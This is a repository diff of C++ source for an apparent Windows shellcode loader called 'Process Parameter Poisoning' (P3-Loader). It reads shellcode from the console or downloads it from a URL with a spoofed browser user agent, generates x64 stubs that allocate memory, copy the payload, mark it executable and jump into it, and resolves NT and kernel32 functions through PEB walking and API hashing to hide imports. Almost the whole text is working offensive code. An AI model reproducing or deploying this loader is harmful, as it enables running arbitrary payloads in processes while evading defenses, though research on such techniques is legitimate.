<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="P3-Loader.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Menu.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="HTTPClient.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ShellCodeUserInput.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ShellCodeWriter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="WinApiResolver.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="HTTPClient.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="imports.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Menu.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ShellCodeUserInput.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ShellCodeWriter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="WinApiResolver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+142
View File
@@ -0,0 +1,142 @@
/**
* Authors: Max Hirschberger & Ogulcan Ugur
* Project: Process Parameter Poisoning
* Notes: Built with and undefined behavior.
*/
#include "ShellCodeUserInput.h"
#include "ShellCodeWriter.h"
#include "HTTPClient.h"
#include <iostream>
ShellCodeUserInput::ShellCodeUserInput() {}
bool ShellCodeUserInput::ParseNibble(char c, uint8_t& nibble)
{
if (c >= 0x30 && c <= 0x39) {
nibble = c - 0x30;
}
else if (c >= 0x41 && c <= 0x46) {
nibble = c - 0x41 + 10;
}
else if (c >= 0x61 && c <= 0x66) {
nibble = c - 0x61 + 10;
}
else {
return false;
}
return true;
}
bool ShellCodeUserInput::ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap)
{
// Length needs to be a multiple of four
if (user_shellcode.length() % 4) { return false; }
uint8_t current_byte = 0;
bool prev_zero = false;
requires_wrap = false;
for (size_t idx = 0; idx < user_shellcode.size(); idx++)
{
char c = user_shellcode[idx];
switch (idx % 4)
{
case 0: // Backslash
if (c != '\\') { return false; }
break;
case 1: // x
if (c != 'x') { return false; }
break;
case 2: // First nibble
{
uint8_t nibble = 0;
if (!ParseNibble(c, nibble)) { return false; }
current_byte = nibble << 4;
break;
}
case 3: // Second nibble
{
uint8_t nibble = 0;
if (!ParseNibble(c, nibble)) { return false; }
current_byte |= nibble;
if (current_byte == 0 && prev_zero && (idx & 1) == 1) {
requires_wrap = true;
}
res.push_back(current_byte);
prev_zero = current_byte == 0;
break;
}
}
}
return true;
}
std::vector<uint8_t> ShellCodeUserInput::GetConsoleInput()
{
std::string user_shellcode;
std::vector<uint8_t> user_shellcode_bytes;
bool requires_wrap;
while (true)
{
printf("\n[>] Enter your shellcode: ");
std::cin >> user_shellcode;
if (ParseUserShellCode(user_shellcode, user_shellcode_bytes, requires_wrap))
break;
printf("[!] Invalid Shellcode Format, expecting e.g. \\xBa\\xad\\xF0\\x0d\n");
}
if (requires_wrap)
{
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
// Using a wrapper that:
// 1. Pushes the shellcode to the stack
// 2. Allocates READWRITE memory
// 3. Copies shellcode from the stack to the newly allocated area
// 4. Changes protection of the newly allocated area to EXECUTE_READ
// 5. Jumps to the newly allocated area
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
ShellCodeWriter w;
w.LoadAndCallShellCode(user_shellcode_bytes);
return w.GetShellCodeBytes();
}
else {
return user_shellcode_bytes;
}
}
std::vector<uint8_t> ShellCodeUserInput::GetURLInput()
{
//HTTPClient httpClient(L"PPP-Loader/1.0");
HTTPClient httpClient(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36");
wchar_t downloadUrl[1024];
printf("[>] Enter URL: ");
wscanf_s(L" %1023[^\n]", downloadUrl, 1024);
std::vector<uint8_t> user_shellcode_bytes = httpClient.DownloadURL(downloadUrl);
bool requires_wrap = false;
for (size_t i = 1; i < user_shellcode_bytes.size(); i++) {
if ((i % 1) == 0 && user_shellcode_bytes[i - 1] == 0 && user_shellcode_bytes[i] == 0) {
requires_wrap = true;
break;
}
}
if (requires_wrap)
{
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
// Using a wrapper that:
// 1. Pushes the shellcode to the stack
// 2. Allocates READWRITE memory
// 3. Copies shellcode from the stack to the newly allocated area
// 4. Changes protection of the newly allocated area to EXECUTE_READ
// 5. Jumps to the newly allocated area
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
ShellCodeWriter w;
w.LoadAndCallShellCode(user_shellcode_bytes);
return w.GetShellCodeBytes();
}
else {
return user_shellcode_bytes;
}
}
+21
View File
@@ -0,0 +1,21 @@
/*
* File: ShellCodeUserInput.h
* Authors: Max Hirschberger & Ogulcan Ugur
*/
#ifndef SHELLCODE_USERINPUT_H
#define SHELLCODE_USERINPUT_H
#include <vector>
#include <string>
class ShellCodeUserInput {
public:
static std::vector<uint8_t> GetConsoleInput();
static std::vector<uint8_t> GetURLInput();
private:
ShellCodeUserInput();
static bool ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap);
static bool ParseNibble(char c, uint8_t& nibble);
};
#endif // SHELLCODE_USERINPUT_H
+270
View File
@@ -0,0 +1,270 @@
/**
* Authors: Max Hirschberger & Ogulcan Ugur
* Project: Process Parameter Poisoning
* Notes: Built with ❤️ and undefined behavior.
*/
#include "ShellCodeWriter.h"
#include "WinApiResolver.h"
ShellCodeWriter::ShellCodeWriter() : m_total_consumed_stack_bytes(0) {}
std::vector<uint8_t> ShellCodeWriter::GetShellCodeBytes() { return m_sc_bytes; }
void ShellCodeWriter::CallMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
int title_pos = 0;
size_t title_size = strlen(lpCaption);
int text_pos = title_size + 1;
size_t text_size = strlen(lpText);
// Combine both text and title into one string
std::vector<uint8_t> title_text_combined;
title_text_combined.insert(title_text_combined.end(), lpCaption, lpCaption + title_size + 1);
title_text_combined.insert(title_text_combined.end(), lpText, lpText + text_size + 1);
PushBuffer(title_text_combined.data(), title_text_combined.size());
int stack_pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegister(0, (uint64_t)hWnd);
SetArgRegisterStackRelative(1, (m_total_consumed_stack_bytes - stack_pos_buf) + text_pos); // lpText
SetArgRegisterStackRelative(2, (m_total_consumed_stack_bytes - stack_pos_buf) + title_pos); // lpCaption
SetArgRegister(3, uType);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.MessageBoxA);
FreeStack();
}
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int stack_pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
PushBuffer(shellcode.data(), shellcode.size()); // 1. Pushes the shellcode to the stack
int stack_pos_user_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
{ // 2. Allocates READWRITE memory
// VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
SetArgRegister(0, NULL);
SetArgRegister(1, shellcode.size());
SetArgRegister(2, MEM_COMMIT);
SetArgRegister(3, PAGE_READWRITE);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.VirtualAlloc);
}
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size()); // User Shellcode size
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; User Shellcode size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // User Shellcode
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc = "\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
{ // 4. Changes protection of the newly allocated area to EXECUTE_READ
// VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src);
AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
SetArgRegister(1, shellcode.size());
SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect
SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // Will overwrite the shellcode, but that is ok :)
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.VirtualProtect);
}
if ((m_total_consumed_stack_bytes % 16))
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
void ShellCodeWriter::CallTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
FreeStack();
}
void ShellCodeWriter::CallSuspendThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount)
{
SetArgRegister(0, (uint64_t)ThreadHandle);
SetArgRegister(1, (uint64_t)PreviousSuspendCount);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtSuspendThread);
FreeStack();
}
void ShellCodeWriter::AppendShellCode(const char* shellcode, size_t size)
{
m_sc_bytes.insert(m_sc_bytes.end(), shellcode, shellcode + size);
}
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] = "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
for (int i = 0; i < 8; i++) {
if (((uint8_t*)(&value))[i] == 0x01) {
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
void ShellCodeWriter::PushValue(uint64_t value)
{
SetRAX(value);
m_sc_bytes.push_back(0x50); // push rax
m_total_consumed_stack_bytes += 8;
}
void ShellCodeWriter::PushBuffer(const void* buf, size_t size)
{
std::vector<uint64_t> v_array;
uint64_t v = 0;
for (size_t i = 0; i < size; i++)
{
if (i > 0 && (i % 8) == 0)
{
v_array.push_back(v);
v = 0;
}
v >>= 8;
v |= ((uint64_t)(((uint8_t*)buf)[i]) << 56);
}
v >>= (8 * (8 - (size % 8)));
v_array.push_back(v);
for (int i = 0; i < v_array.size(); i++)
{
PushValue(v_array[v_array.size() - i - 1]);
}
}
void ShellCodeWriter::SetArgRegister(int arg_index, uint64_t value)
{
const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
if (arg_index < 0 || arg_index > 3)
{
printf("[-] Bad argid %d, expected 0-3\n", arg_index);
return;
}
SetRAX(value);
m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
m_sc_bytes.push_back(0x89);
m_sc_bytes.push_back(ins_bytes3[arg_index]);
}
void ShellCodeWriter::SetArgRegisterStackRelative(int arg_index, int stack_relative_offset)
{
const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
if (arg_index < 0 || arg_index > 3)
{
printf("[-] Bad argid %d, expected 0-3\n", arg_index);
return;
}
SetRAX(stack_relative_offset);
AppendShellCode("\x48\x8D\x04\x04", 4); // lea rax, [rsp+rax]
m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
m_sc_bytes.push_back(0x89);
m_sc_bytes.push_back(ins_bytes3[arg_index]);
}
void ShellCodeWriter::Call(uint64_t pfn)
{
PushValue(pfn);
bool needs_align = (m_total_consumed_stack_bytes % 16);
if (needs_align)
{
AppendShellCode("\x50", 1); // push rax
m_total_consumed_stack_bytes += 8;
}
AppendShellCode("\x58\xff\xd0", 3); // pop rax; call rax;
m_total_consumed_stack_bytes -= 8;
if (needs_align)
{
AppendShellCode("\x41\x5F", 2); // pop r15
m_total_consumed_stack_bytes -= 8;
}
}
void ShellCodeWriter::FreeStack()
{
if (m_total_consumed_stack_bytes < 0x80)
{
AppendShellCode("\x48\x83\xC4", 3); // add rsp, X
m_sc_bytes.push_back(m_total_consumed_stack_bytes);
}
AppendShellCode("\x49\x89\xC7", 3); // mov r15, rax
SetRAX(m_total_consumed_stack_bytes);
AppendShellCode("\x48\x01\xC4", 3); // add rsp, rax
AppendShellCode("\x4C\x89\xF8", 3); // mov rax, r15
m_total_consumed_stack_bytes = 0;
}
+47
View File
@@ -0,0 +1,47 @@
/*
* File: ShellCodeUserInput.h
* Authors: Max Hirschberger & Ogulcan Ugur
*/
#ifndef SHELLCODE_WRITER_H
#define SHELLCODE_WRITER_H
#include <Windows.h>
#include <cinttypes>
#include <vector>
class ShellCodeWriter {
public:
ShellCodeWriter();
std::vector<uint8_t> GetShellCodeBytes();
void CallMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
void CallLoadLibraryA(LPCSTR p);
void CallTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus);
void CallSuspendThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
void LoadAndCallShellCode(const std::vector<uint8_t>& shellcode);
void AppendShellCode(const char* shellcode, size_t size);
private:
uint32_t m_total_consumed_stack_bytes;
std::vector<uint8_t> m_sc_bytes;
void SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value);
void SetRAX(uint64_t value);
void PushValue(uint64_t value);
void PushBuffer(const void* buf, size_t size);
void SetArgRegister(int arg_index, uint64_t value);
void SetArgRegisterStackRelative(int arg_index, int stack_relative_offset);
void Call(uint64_t pfn);
void FreeStack();
};
#endif // SHELLCODE_WRITER_H
+150
View File
@@ -0,0 +1,150 @@
/**
* Authors: Max Hirschberger & Ogulcan Ugur
* Project: Process Parameter Poisoning
* Notes: Built with ❤️ and undefined behavior.
*/
#ifdef _WIN64
#define PPEB_CURRENT ((PPEB)__readgsqword(0x60))
#else
#define PPEB_CURRENT ((PPEB)__readfsdword(0x30))
#endif
#define INITIAL_HASH 3731
#define INITIAL_SEED 5
#include "WinApiResolver.h"
#include <iostream>
WinApiResolver::WinApiResolver() {}
WinApiResolver* WinApiResolver::m_instance = nullptr;
WinApiResolver& WinApiResolver::GetInstance()
{
if (m_instance)
return *m_instance;
m_instance = new WinApiResolver();
m_instance->ResolveAPIs();
return *m_instance;
}
DWORD HashStringDjb2A(const char* String) {
ULONG Hash = INITIAL_HASH;
INT c;
while (c = tolower(*String++))
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash = INITIAL_HASH;
INT c;
while (c = towlower(*String++))
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
// Finds the base address of a module via the PEB list (Hashed version)
HMODULE FindModuleBaseH(DWORD moduleName)
{
PPEB peb = PPEB_CURRENT;
PLIST_ENTRY head = &peb->Ldr->InLoadOrderModuleList;
PLIST_ENTRY curr = head->Flink;
while (curr != head)
{
PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (HashStringDjb2W(entry->BaseDllName.Buffer) == moduleName)
{
return (HMODULE)entry->DllBase;
}
curr = curr->Flink;
}
return NULL;
}
// Own GetProcAddress with API-Hashing: Parsing the export table
FARPROC MyGetProcAddressH(HMODULE hModule, DWORD hashedApiName)
{
BYTE* base = (BYTE*)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_DATA_DIRECTORY exportDirData = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDirData.VirtualAddress == 0)
return NULL;
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportDirData.VirtualAddress);
DWORD* nameTable = (DWORD*)(base + exportDir->AddressOfNames);
WORD* ordTable = (WORD*)(base + exportDir->AddressOfNameOrdinals);
DWORD* funcTable = (DWORD*)(base + exportDir->AddressOfFunctions);
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
{
const char* name = (const char*)(base + nameTable[i]);
if (HashStringDjb2A(name) == hashedApiName)
{
WORD ordinal = ordTable[i];
DWORD rva = funcTable[ordinal];
return (FARPROC)(base + rva);
}
}
return NULL;
}
#define HASH_NTDLL_DLL 0x16B84F3B
#define HASH_NTQUERYINFORMATIONPROCESS 0xee588630
#define HASH_NTREADVIRTUALMEMORYEX 0x67801fee
#define HASH_NTPROTECTVIRTUALMEMORY 0xaf858f56
#define HASH_NTSETCONTEXTTHREAD 0xd0d4165e
#define HASH_NTGETCONTEXTTHREAD 0x3e564fd2
#define HASH_NTTERMINATEPROCESS 0x200d349d
#define HASH_NTSUSPENDTHREAD 0x41e4958f
#define HASH_NTRESUMETHREAD 0x9b31cb9e
#define HASH_LDRCONTROLFLOWGUARDENFORCED 0xb6eef67
#define HASH_KERNEL32_DLL 0xddb5ad03
#define HASH_LOADLIBRARYA 0x73daf7e9
#define HASH_VIRTUALALLOC 0xc64f8a65
#define HASH_VIRTUALPROTECT 0x293d57db
#define HASH_USER32_DLL 0xcae39701
#define HASH_MESSAGEBOXA 0x63676de2
#define RESOLVE_API(X, MH, PH) do { X = (X ## _t)(MyGetProcAddressH(FindModuleBaseH(MH), PH)); if(!X) { printf("[-] Failed to resolve %x\n", PH); exit(-1); } } while(false)
void WinApiResolver::ResolveAPIs()
{
// NTDLL.DLL
RESOLVE_API(NtQueryInformationProcess, HASH_NTDLL_DLL, HASH_NTQUERYINFORMATIONPROCESS);
RESOLVE_API(NtProtectVirtualMemory, HASH_NTDLL_DLL, HASH_NTPROTECTVIRTUALMEMORY);
RESOLVE_API(NtReadVirtualMemoryEx, HASH_NTDLL_DLL, HASH_NTREADVIRTUALMEMORYEX);
RESOLVE_API(NtSetContextThread, HASH_NTDLL_DLL, HASH_NTSETCONTEXTTHREAD);
RESOLVE_API(NtGetContextThread, HASH_NTDLL_DLL, HASH_NTGETCONTEXTTHREAD);
RESOLVE_API(NtTerminateProcess, HASH_NTDLL_DLL, HASH_NTTERMINATEPROCESS);
RESOLVE_API(NtSuspendThread, HASH_NTDLL_DLL, HASH_NTSUSPENDTHREAD);
RESOLVE_API(LdrControlFlowGuardEnforced, HASH_NTDLL_DLL, HASH_LDRCONTROLFLOWGUARDENFORCED);
// KERNEL32.DLL
RESOLVE_API(LoadLibraryA, HASH_KERNEL32_DLL, HASH_LOADLIBRARYA);
RESOLVE_API(VirtualAlloc, HASH_KERNEL32_DLL, HASH_VIRTUALALLOC);
RESOLVE_API(VirtualProtect, HASH_KERNEL32_DLL, HASH_VIRTUALPROTECT);
LoadLibrary(L"user32.dll");
// USER32.DLL
RESOLVE_API(MessageBoxA, HASH_USER32_DLL, HASH_MESSAGEBOXA);
}
+115
View File
@@ -0,0 +1,115 @@
/*
* File: WinApiResolver.h
* Authors: Max Hirschberger & Ogulcan Ugur
*/
#ifndef WINAPIRESOLVER_H
#define WINAPIRESOLVER_H
#include <Windows.h>
#include "imports.h"
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE,
PROCESSINFOCLASS,
PVOID,
ULONG,
PULONG);
typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)(
HANDLE,
PVOID,
PSIZE_T,
ULONG,
PULONG);
typedef NTSTATUS(NTAPI* NtReadVirtualMemoryEx_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToRead,
PSIZE_T NumberOfBytesRead,
ULONG Flags
);
typedef NTSTATUS(NTAPI* NtSetContextThread_t)(
HANDLE ThreadHandle,
PCONTEXT ThreadContext
);
typedef NTSTATUS(NTAPI* NtGetContextThread_t)(
HANDLE ThreadHandle,
PCONTEXT ThreadContext
);
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
_In_opt_ HANDLE ProcessHandle,
_In_ NTSTATUS ExitStatus
);
typedef NTSTATUS(NTAPI* NtSuspendThread_t)(
_In_ HANDLE ThreadHandle,
_Out_opt_ PULONG PreviousSuspendCount
);
typedef NTSTATUS(NTAPI* LdrControlFlowGuardEnforced_t)(
VOID
);
typedef HMODULE(*LoadLibraryA_t)(
LPCSTR lpLibFileName
);
typedef LPVOID(*VirtualAlloc_t)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL(*VirtualProtect_t)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef int (*MessageBoxA_t)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
class WinApiResolver {
public:
static WinApiResolver& GetInstance();
// NTDLL.DLL
NtQueryInformationProcess_t NtQueryInformationProcess;
NtProtectVirtualMemory_t NtProtectVirtualMemory;
NtReadVirtualMemoryEx_t NtReadVirtualMemoryEx;
NtSetContextThread_t NtSetContextThread;
NtGetContextThread_t NtGetContextThread;
NtTerminateProcess_t NtTerminateProcess;
NtSuspendThread_t NtSuspendThread;
LdrControlFlowGuardEnforced_t LdrControlFlowGuardEnforced;
// KERNEL32.DLL
LoadLibraryA_t LoadLibraryA;
VirtualAlloc_t VirtualAlloc;
VirtualProtect_t VirtualProtect;
// USER32.DLL
MessageBoxA_t MessageBoxA;
private:
static WinApiResolver* m_instance;
WinApiResolver();
void ResolveAPIs();
};
#endif // WINAPIRESOLVER_H
+15702
View File
File diff suppressed because it is too large Load Diff